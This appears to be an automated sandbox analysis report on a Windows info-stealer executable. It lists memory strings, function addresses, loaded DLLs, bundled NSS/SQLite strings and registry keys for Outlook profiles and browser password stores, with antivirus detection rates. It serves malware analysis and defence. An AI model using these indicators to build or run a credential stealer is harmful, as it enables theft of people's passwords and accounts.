Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rosoft
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Eae0KTw4m1.exe, 00000000.00000003.1811891076.0000000027D79000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Eae0KTw4m1.exe, 00000000.00000003.1811891076.0000000027D79000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file has a writeable .text section

Source: Eae0KTw4m1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5EED10
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C62B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C62B700
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C62B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C62B8C0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C62B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C62B910
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5CF280

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5C35A0	0_2_6C5C35A0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5D5440	0_2_6C5D5440
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C63545C	0_2_6C63545C
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C63542B	0_2_6C63542B
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C63AC00	0_2_6C63AC00
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C605C10	0_2_6C605C10
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C612C10	0_2_6C612C10
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5ED4D0	0_2_6C5ED4D0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C606CF0	0_2_6C606CF0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5D64C0	0_2_6C5D64C0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5CD4E0	0_2_6C5CD4E0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6234A0	0_2_6C6234A0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C62C4A0	0_2_6C62C4A0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5D6C80	0_2_6C5D6C80
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5F0512	0_2_6C5F0512
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5EED10	0_2_6C5EED10
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5DFD00	0_2_6C5DFD00
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6285F0	0_2_6C6285F0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C600DD0	0_2_6C600DD0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C636E63	0_2_6C636E63
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5E9E50	0_2_6C5E9E50
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5E4640	0_2_6C5E4640
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5CC670	0_2_6C5CC670
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C612E4E	0_2_6C612E4E
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C603E50	0_2_6C603E50
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C629E30	0_2_6C629E30
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C615600	0_2_6C615600
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C607E10	0_2_6C607E10
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6376E3	0_2_6C6376E3
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5CBEF0	0_2_6C5CBEF0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5DFEF0	0_2_6C5DFEF0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C624EA0	0_2_6C624EA0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5E5E90	0_2_6C5E5E90
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C62E680	0_2_6C62E680
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5D9F00	0_2_6C5D9F00
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C607710	0_2_6C607710
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5F6FF0	0_2_6C5F6FF0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5CDFE0	0_2_6C5CDFE0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6177A0	0_2_6C6177A0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5E8850	0_2_6C5E8850
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5ED850	0_2_6C5ED850
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C60F070	0_2_6C60F070
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C60B820	0_2_6C60B820
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C614820	0_2_6C614820
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5D7810	0_2_6C5D7810
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6058E0	0_2_6C6058E0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6350C7	0_2_6C6350C7
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5EC0E0	0_2_6C5EC0E0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5F60A0	0_2_6C5F60A0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C61B970	0_2_6C61B970
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C63B170	0_2_6C63B170
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5EA940	0_2_6C5EA940
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5DD960	0_2_6C5DD960
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5FD9B0	0_2_6C5FD9B0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C605190	0_2_6C605190
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C622990	0_2_6C622990
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5CC9A0	0_2_6C5CC9A0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C609A60	0_2_6C609A60
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C60E2F0	0_2_6C60E2F0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C608AC0	0_2_6C608AC0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5E1AF0	0_2_6C5E1AF0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C632AB0	0_2_6C632AB0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5DCAB0	0_2_6C5DCAB0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C63BA90	0_2_6C63BA90
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5C22A0	0_2_6C5C22A0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5F4AA0	0_2_6C5F4AA0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5C5340	0_2_6C5C5340
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5DC370	0_2_6C5DC370
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C60D320	0_2_6C60D320
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6353C8	0_2_6C6353C8
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5CF380	0_2_6C5CF380
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C67AC60	0_2_6C67AC60
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C74AC30	0_2_6C74AC30
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C736C00	0_2_6C736C00
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C66ECC0	0_2_6C66ECC0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6CECD0	0_2_6C6CECD0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C73ED70	0_2_6C73ED70
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C79AD50	0_2_6C79AD50
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7F8D20	0_2_6C7F8D20
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7FCDC0	0_2_6C7FCDC0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C674DB0	0_2_6C674DB0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C706D90	0_2_6C706D90
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C70EE70	0_2_6C70EE70
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C750E20	0_2_6C750E20
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C67AEC0	0_2_6C67AEC0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C710EC0	0_2_6C710EC0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6F6E90	0_2_6C6F6E90
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C732F70	0_2_6C732F70
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6DEF40	0_2_6C6DEF40
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7B0F20	0_2_6C7B0F20
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C676F10	0_2_6C676F10
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C74EFF0	0_2_6C74EFF0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C670FE0	0_2_6C670FE0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7B8FB0	0_2_6C7B8FB0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C67EFB0	0_2_6C67EFB0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C744840	0_2_6C744840
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6C0820	0_2_6C6C0820
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6FA820	0_2_6C6FA820
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7768E0	0_2_6C7768E0

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: String function: 6C6094D0 appears 90 times
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: String function: 6C7F09D0 appears 69 times
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: String function: 6C5FCBE8 appears 134 times
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: String function: 007245C0 appears 317 times

Source: Eae0KTw4m1.exe, 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs Eae0KTw4m1.exe
Source: Eae0KTw4m1.exe, 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs Eae0KTw4m1.exe

Source: Eae0KTw4m1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_6C627030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C627030

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00739600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00739600

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Code function: 0_2_00733720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00733720

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\41CSLYN4.htm

Jump to behavior

Source: Eae0KTw4m1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Eae0KTw4m1.exe, Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Eae0KTw4m1.exe, 00000000.00000003.1747998938.0000000021A19000.00000004.00000020.00020000.00000000.sdmp, KKJKKJJKJEGIECAKJJEB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1855947228.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: Eae0KTw4m1.exe	ReversingLabs: Detection: 78%
Source: Eae0KTw4m1.exe	Virustotal: Detection: 84%

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: Eae0KTw4m1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: Eae0KTw4m1.exe, 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: Eae0KTw4m1.exe, 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
